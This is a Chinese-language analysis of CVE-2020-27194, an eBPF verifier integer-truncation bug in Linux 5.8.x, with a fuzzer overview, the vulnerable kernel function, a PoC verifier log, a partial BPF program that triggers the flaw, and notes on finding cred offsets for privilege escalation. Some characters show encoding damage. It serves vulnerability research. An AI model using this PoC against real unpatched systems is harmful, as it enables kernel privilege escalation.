影響版本:5.8.x 內(nèi)核分支,v5.8.15 以及更低的版本。該分支的發(fā)行版:Fedora 33 、Ubuntu 20.10。
編譯選項(xiàng):CONFIG_BPF_SYSCALL
。
漏洞描述:eBPF驗(yàn)證程序中進(jìn)行or操作時(shí),scalar32_min_max_or()
函數(shù)將64位的值賦值到32位的變量上,導(dǎo)致整數(shù)截?cái)?,進(jìn)而錯(cuò)誤計(jì)算了寄存器的范圍,從而繞過bpf的檢查,導(dǎo)致越界讀寫。
補(bǔ)丁:patch scalar32_min_max_or()
函數(shù)中對(duì)32位和64位的情況分開處理,防止整數(shù)截?cái)唷?/p>
測(cè)試版本:Linux-5.8.14 測(cè)試環(huán)境下載地址
利用過程:與 CVE-2020-8835
利用過程相同,只需要根據(jù)不同版本的內(nèi)核調(diào)一下array_map_ops
和init_pid_ns
的偏移,還有尋找cred
地址的過程中用到的task_struct
結(jié)構(gòu)偏移也不一樣,不同的內(nèi)核版本不同的編譯選項(xiàng)所導(dǎo)致。
一、BPF 漏洞挖掘介紹
BPF 介紹可以先看看 CVE-2020-8835
利用過程。
本節(jié)來自Fuzzing for eBPF JIT bugs in the Linux kernel
1.bpf-fuzzer
介紹:bpf-fuzzer
目標(biāo)是在userspace測(cè)試BPF的verifier,這樣可以利用LLVM's sanitizer和fuzzer框架。為什么要把內(nèi)核編譯成用戶程序,而不是直接用syzkaller來挖掘呢?原因有兩點(diǎn),一是因?yàn)閮?nèi)核fuzz太慢了,二是因?yàn)?code>BPF verifier等一些JIT編譯器會(huì)用鎖保護(hù),如果在多核上跑fuzzer就很難并行。
2.內(nèi)核組件編譯成用戶程序
獲取聲明:首先生成包含eBPF verifier
及其主要函數(shù)bpf_check()
的源代碼(處理宏并包含頭文件),寫入.i
文件,這一步是為了獲得 verifier
引用的所有內(nèi)核符號(hào)。生成.i
文件的示例:
KERNEL_SRC=/path/to/kernel/to/fuzz-test
process_example:
cd $(KERNEL_SRC) && \
make HOSTCC=clang CC=clang kernel/bpf/verifier.i
內(nèi)核函數(shù)hook:接著編譯每個(gè).i
文件并鏈接到一起,這個(gè)過程很復(fù)。上一步雖然獲得了 verifier
引用的所有的符號(hào)聲明,但是并未獲得所有的定義。例如,已獲得kmalloc()
函數(shù)的定義,但是沒有獲得該函數(shù)的定義。bpf-fuzzer
是怎么解決的呢?采用user-space hooks
,例如,用用戶標(biāo)準(zhǔn)函數(shù)malloc()
來定義kmalloc()
,這兩個(gè)函數(shù)的行為是一樣的,BPF verifier
不會(huì)察覺。
void *kmalloc(size_t size, unsigned int flags)
{
return malloc(size);
}
3. BPF漏洞挖掘
挖掘思路:已有的工作是使用libfuzzer去fuzz BPF verifier
,本文的目標(biāo)是找到 JIT
邏輯漏洞,而非內(nèi)存損壞漏洞。例如,verifier
可能認(rèn)為一個(gè)內(nèi)存store操作是在邊界內(nèi)的,但實(shí)際上并不安全。
因此,僅僅循環(huán)調(diào)用 BPF verifier
例程并等待崩潰是不夠的,應(yīng)該考慮以下步驟:
- (1)生成或變異BPF程序
- (2)執(zhí)行
userspace BPF verifier
,來模擬執(zhí)行BPF程序 - (3)如果發(fā)現(xiàn)BPF程序有效,則調(diào)用真實(shí)的
bpf()
系統(tǒng)調(diào)用并加載程序 - (4)真實(shí)執(zhí)行BPF程序并采用一個(gè)機(jī)制來檢測(cè)bug
- (5)重復(fù)
fuzzer架構(gòu):為了具備可擴(kuò)展性,作者寫了個(gè)manager,manager負(fù)責(zé)啟動(dòng)虛擬機(jī)來運(yùn)行被測(cè)內(nèi)核,然后通過SSH連接到VMs,并執(zhí)行 eBPF fuzzer
進(jìn)程。每個(gè) eBPF fuzzer
進(jìn)程運(yùn)行一個(gè) generator 并喂給 userspace BPF verifier
,如果生成的輸入是有效的,則eBPF fuzzer
會(huì)調(diào)用 bpf()
加載 BPF程序并觸發(fā)執(zhí)行。再采用檢測(cè)機(jī)制來檢查該BPF程序是否安全。
漏洞檢測(cè):JIT漏洞一般不會(huì)引發(fā)崩潰,所以很難檢測(cè)。解決辦法可以采用給JIT插入 assertions
,但作者卻采用了更簡(jiǎn)單的方法。既然目標(biāo)是找到錯(cuò)誤的指針運(yùn)算,就意味著要使 BPF verifier
相信一個(gè)內(nèi)存load或store是在邊界內(nèi)的。所以漏洞檢測(cè)流程如下:
- (1)加載一個(gè)
BPF map
,并把指針賦給一個(gè)寄存器 - (2)對(duì)一個(gè)或多個(gè)寄存器進(jìn)行大量的
BPF ALU
和分支操作 - (3)必須使用能通過操作改變寄存器狀態(tài)的寄存器,對(duì)指向
BPF map
的指針進(jìn)行運(yùn)算操作 - (4)向
BPF map
寫入隨機(jī)值
如果 BPF verifier
確信 BPF 程序是安全的,那么無論對(duì)寄存器進(jìn)行隨機(jī)ALU運(yùn)算的值是多少,無論之后對(duì) BPF map
指針加減多少值(即遍歷map中每個(gè)元素),內(nèi)存操作始終都會(huì)在邊界內(nèi),這意味著需要更改map的值了。
如果觸發(fā)了有問題的BPF程序,但是用于測(cè)試的map內(nèi)容并未發(fā)生變化,則可以得知fuzzer將某處寫入內(nèi)存但沒有寫入map,因此檢測(cè)到錯(cuò)誤的指針運(yùn)算。
4.輸入生成規(guī)則
輸入生成:即生成有效的BPF程序,可以先閱讀 CVE-2020-8835-writeup 或 英文原文。
程序有效性與程序安全性:作者沒有采用對(duì)輸入結(jié)構(gòu)未知的fuzzer如 libfuzzer
,而是從頭開始寫 input generator
,因?yàn)橥ㄟ^編譯和反饋還是很難生成有效的BPF程序。BPF的語言規(guī)則,保留字段必須為0,條件跳轉(zhuǎn)必須往后跳且在邊界內(nèi),BPF程序是高度結(jié)構(gòu)化的,所以覆蓋導(dǎo)向的fuzzer很難生成有效的BPF程序。
寄存器狀態(tài):BPF支持10個(gè)寄存器—— BPF_REG_1
– BPF_REG_10
。如果將BPF程序用作數(shù)據(jù)過濾器,并通過傳入數(shù)據(jù)包來觸發(fā)該程序,則只初始化R1和R10寄存器,R1是指向輸入包的指針,R10是指向本BPF程序的棧幀的指針,其他寄存器在進(jìn)入程序入口時(shí)都還未初始化,但可以具有以下狀態(tài):
-
NOT_INIT
:寄存器的默認(rèn)狀態(tài),不能被read。 -
SCALAR_VALUE
:寄存器包含標(biāo)量值,該值可以是常數(shù),也可以是范圍,如1-5。 -
PTR_TO_MAP_VALUE_OR_NULL
:寄存器可能是指向map的指針或NULL值。如果呀使用指針,必須先檢查指針是否為NULL。 -
PTR_TO_MAP_VALUE
:指向map的指針,可以放心向map讀和寫。 - 除此之外還有其他狀態(tài),但與本文不相關(guān)。
5.BPF程序生成過程
(5-1)The header
目的:用常數(shù)或接近于 BPF map size
的值來初始化2個(gè)寄存器。
為了測(cè)試 BPF verifier
錯(cuò)誤的指針運(yùn)算,我們需要獲得一個(gè)指向 BPF map
的指針,便于讀取和寫入。這個(gè)獲得指向 BPF map
的指針的過程 固定出現(xiàn)在每個(gè)test case的開頭。指令如下:
// prepare the stack for map_lookup_elem
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
// make the call to map_lookup_elem
BPF_LD_MAP_FD(BPF_REG_1, BPF_TRIAGE_MAP_FD),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// verify the map so that we can use it
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
現(xiàn)在 r0 就是指向map的指針了,可以用來生成指針運(yùn)算。以下代碼會(huì)把 BPF map
中的值賦值給兩個(gè)寄存器:
// 每個(gè)寄存器都是從 BPF map 讀取 64 bit,寄存器的狀態(tài)從 NOT_INIT 變?yōu)?SCALAR_VALUE。寄存器的值的范圍是 0-2**64,這一步的目的就是給寄存器加載一個(gè)隨機(jī)的立即數(shù)。
BPF_LDX_MEM(BPF_DW, this->reg1, BPF_REG_0, 0),
BPF_LDX_MEM(BPF_DW, this->reg2, BPF_REG_0, 8),
為了使寄存器的值更接近被測(cè)程序 的BPF map
大小,下一步是生成條件跳轉(zhuǎn),以設(shè)置兩寄存器的minimum 和maximum 值。以下函數(shù)能生成寄存器的minimum bound。
// 目的是生成一個(gè)條件跳轉(zhuǎn),當(dāng)該值大于 minimum bound 時(shí),條件跳轉(zhuǎn)為 true。minimum bound是在 (-FUZZ_MAP_SIZE, FUZZ_MAP_SIZE)范圍內(nèi)隨機(jī)生成的,作者令 FUZZ_MAP_SIZE=8192。
inline struct bpf_insn input::generate_min_bounds(unsigned reg, int64_t val)
{
bool is64bit = this->rg->one_of(2);
this->min_bound = val == -1 ? this->rg->rand_int_range(-FUZZ_MAP_SIZE, FUZZ_MAP_SIZE): val;
if (is64bit)
return BPF_JMP_IMM(BPF_JSGT, reg, this->min_bound, 1);
else
return BPF_JMP32_IMM(BPF_JSGT, reg, this->min_bound, 1);
}
(5-2)The body
目的:生成2個(gè)寄存器的隨機(jī)ALU算術(shù)操作。
主體部分就是隨意選取兩個(gè)可用的寄存器,進(jìn)行ALU操作或分支操作。
// 算術(shù)指令是先隨機(jī)選取一種可用指令,如BPF_ADD/BPF_MUL/BPF_XOR,然后確定源寄存器和目的寄存器,并返回生成的BPF指令。分支指令也是類似,先選取可用的分支操作碼,可以使用第二個(gè)寄存器或立即數(shù),由于知道BPF程序的大小和指令的下標(biāo),這樣就總能生成有效的指令。
for (size_t i = 0; i < num_instr; i++) {
int reg1, reg2;
this->chose_registers(®1, ®2);
if (rg->n_out_of(8, 10) || i == this->num_instr - 1) {
alu_instr a;
a.generate(this->rg, reg1, reg2);
this->instructions[index++] = a.instr;
}
else {
branch_instr b(this->header_size, this->header_size + this->num_instr, index);
b.generate(this->rg, reg1, reg2);
this->instructions[index++] = b.instr;
generated_branch = true;
}
}
(5-3)The footer
目的:為保證每個(gè)input都能對(duì) BPF map
進(jìn)行內(nèi)存寫, The footer
會(huì)選擇上述2個(gè)寄存器之一,接著進(jìn)行算術(shù)運(yùn)算(和The body
中類似,但只能進(jìn)行加減操作,因?yàn)橹羔樦荒苓M(jìn)行加減運(yùn)算)。最后進(jìn)行內(nèi)存操作,然后將R0賦值為立即數(shù),確保有正確的返回值。
void range_input::generate_footer()
{
size_t index = this->header_size + this->num_instr;
// generate the random pointer arithmetic with one of the registers
int reg1, reg2 = -1;
this->chose_registers(®1, ®2);
alu_instr ptr_ar;
ptr_ar.generate_ptr_ar(this->rg, BPF_REG_4, reg1);
this->instructions[index++] = ptr_ar.instr;
this->instructions[index++] = this->generate_mem_access(BPF_REG_4);
this->instructions[index++] = BPF_MOV64_IMM(BPF_REG_0, 1);
this->instructions[index++] = BPF_EXIT_INSN();
6.Fuzzer結(jié)果
以上顯示作者用了6個(gè)VM來fuzz的輸出結(jié)果,每個(gè)VM一秒能測(cè)1200個(gè)BPF程序,0.77%的BPF程序是有效的。大量時(shí)間用在了內(nèi)核真實(shí)測(cè)試BPF程序上,下一步可以在用戶空間測(cè)試BPF程序,避免與內(nèi)核交互,從而提速。
二、漏洞分析
// 漏洞函數(shù):scalar32_min_max_or() —— 對(duì)寄存器進(jìn)行或運(yùn)算時(shí),錯(cuò)誤計(jì)算了`bpf_reg_state`寄存器狀態(tài)中的寄存器值范圍
static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->smin_value;
u32 umin_val = src_reg->umin_value;
/* Assuming scalar64_min_max_or will be called so it is safe
* to skip updating register for known case.
*/
if (src_known && dst_known)
return;
/* We get our maximum from the var_off, and our minimum is the
* maximum of the operands' minima
*/
dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
dst_reg->u32_max_value = var32_off.value | var32_off.mask;
if (dst_reg->s32_min_value < 0 || smin_val < 0) {
/* Lose signed bounds when ORing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->s32_min_value = S32_MIN;
dst_reg->s32_max_value = S32_MAX;
} else {
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->s32_min_value = dst_reg->umin_value; // 【1】將64位的值賦值到32位的變量上,導(dǎo)致整數(shù)截?cái)?,進(jìn)而錯(cuò)誤計(jì)算了寄存器的范圍,從而繞過bpf的檢查,導(dǎo)致越界讀寫。
dst_reg->s32_max_value = dst_reg->umax_value;
}
}
具體可以看Poc生成的日志:
……
9: (79) r5 = *(u64 *)(r0 +0)
R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: (bf) r8 = r0
11: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256?
11: (b7) r0 = 1
12: R0_w=invP1 R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
12: (18) r6 = 0x600000002
14: R0_w=invP1 R5_w=invP(id=0) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10?
14: (ad) if r5 < r6 goto pc+1
R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks?
15: R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0?
15: (95) exit
16: R0_w=invP1 R5_w=invP(id=0,umax_value=25769803777,var_off=(0x0; 0x7ffffffff)) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,i?
16: (25) if r5 > 0x0 goto pc+1
R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks?
17: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0?
17: (95) exit
18: R0=invP1 R5=invP(id=0,umin_value=1,umax_value=25769803777,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R6=invP25769803778 R8=map_?
18: (47) r5 |= 0
19: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6=invP2576980377?
19: (bc) w6 = w5
20: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP1 R8=map?
20: (77) r6 >>= 1
21: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP0 R8=map?
……
9:用戶的值通過r5寄存器傳入值 2
10:r0 賦值給r8,r0保存map的地址,對(duì)觸發(fā)漏洞無影響
11:r0 賦值為1,否則會(huì)認(rèn)為r0 泄露map指針產(chǎn)生報(bào)錯(cuò)
12: r6賦值為
0x600000002
14:通過r5 < r6 的條件判斷使得r5寄存器的無符號(hào)范圍最大為
umax_value=25769803777=0x600000001
16:通過r > 0x0 的條件判斷使得r5寄存器的無符號(hào)范圍最小為
umin_value=1
18:對(duì)r5進(jìn)行or運(yùn)算,觸發(fā)漏洞函數(shù)
scalar_min_max_or
,調(diào)用到漏洞函數(shù)中的【1】處,賦值后r5寄存器的s32_min_value=1
,s32_max_value=1
19:將r5賦值為r6,得到r6為invP1 ,說明檢查模塊認(rèn)為r6是常數(shù)1,而實(shí)際此時(shí)r6為2
20:對(duì)r6進(jìn)行右移操作,此時(shí)檢查模塊認(rèn)為r6得到的結(jié)果為invP0(常數(shù)0),而實(shí)際此時(shí)r6為1
具體調(diào)試過程如下:
一個(gè)常數(shù)變量x,如果它64位無符號(hào)數(shù)的取值范圍是 1<=x<=0x100000001
,dst_reg->umin_value
的值為1, dst_reg->umax_value
的值為0x600000001,而在賦值 dst_reg->s32_max_value
的過程中發(fā)生了截?cái)啵?4位的值賦值到32位的有符號(hào)整數(shù)),導(dǎo)致 dst_reg->s32_max_value
的值為1,此時(shí)目標(biāo)寄存器的32位范圍為(1,1),因此bpf的驗(yàn)證模塊認(rèn)為這是常數(shù)1。
當(dāng)我們傳入2時(shí),對(duì)其進(jìn)行右移操作,驗(yàn)證模塊認(rèn)為是1>>1=0,而實(shí)際是2 >>1 = 1,所以可以對(duì)其進(jìn)行乘法操作構(gòu)造成任意數(shù),因?yàn)樵隍?yàn)證模塊看來只是0乘以任意數(shù),結(jié)果都是0,從而繞過檢查,可以對(duì)map指針進(jìn)行任意加減,造成越界讀寫。
所以bpf程序構(gòu)造如下:
struct bpf_insn prog[] = {
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
BPF_MAP_GET(0, BPF_REG_5), // r5 = input()
BPF_LD_IMM64(BPF_REG_6, 0x600000002), //r6=0x600000002
BPF_JMP_REG(BPF_JLT, BPF_REG_5, BPF_REG_6, 1), //if r5 < r6 ; jmp 1
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JGT, BPF_REG_5, 0, 1), //if r5 > 0 ; jmp 1 ;
BPF_EXIT_INSN(),
// now 1 <= r5 <= 0x600000001
BPF_ALU64_IMM(BPF_OR, BPF_REG_5, 0), //r5 |=0; verify: 1 <= r5 <=1 , r5=1
BPF_MOV_REG(BPF_REG_6, BPF_REG_5), //r6 =r5
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1), //r6 >>1 verify:0 fact: we can let r5=2 then r6=1
......
}
三、漏洞利用
與 CVE-2020-8835
利用過程相同,只需要根據(jù)不同版本的內(nèi)核調(diào)一下array_map_ops
和init_pid_ns
的偏移,還有尋找cred
地址的過程中用到的task_struct
結(jié)構(gòu)偏移也不一樣,不同的內(nèi)核版本不同的編譯選項(xiàng)所導(dǎo)致。
# 根據(jù) init_pid_ns 一步步找到當(dāng)前pid的task_struct中的cred。必須自己編譯帶符號(hào)的vmlinux才行。
$ cat /proc/kallsyms | grep init_pid_ns # ——找到第一個(gè)task_struct 的地址
# 查看task_struct在grep init_pid_ns中的偏移,有的是0x38
$ p/x &(*(struct task_struct *)0)->pid # ——pid位置
$ p/x &(*(struct task_struct *)0)->cred # ——cred位置
$ p/x &(*(struct task_struct *)0)->tasks # —— 下一個(gè)task_struct的位置
參考:
320will——Linux kernel BPF模塊的相關(guān)漏洞分析
360——CVE-2020-27194:Linux Kernel eBPF模塊提權(quán)漏洞的分析與利用
啟明星辰ADLab——Linux eBPF JIT 權(quán)限提升漏洞(CVE-2020-27194)分析與驗(yàn)證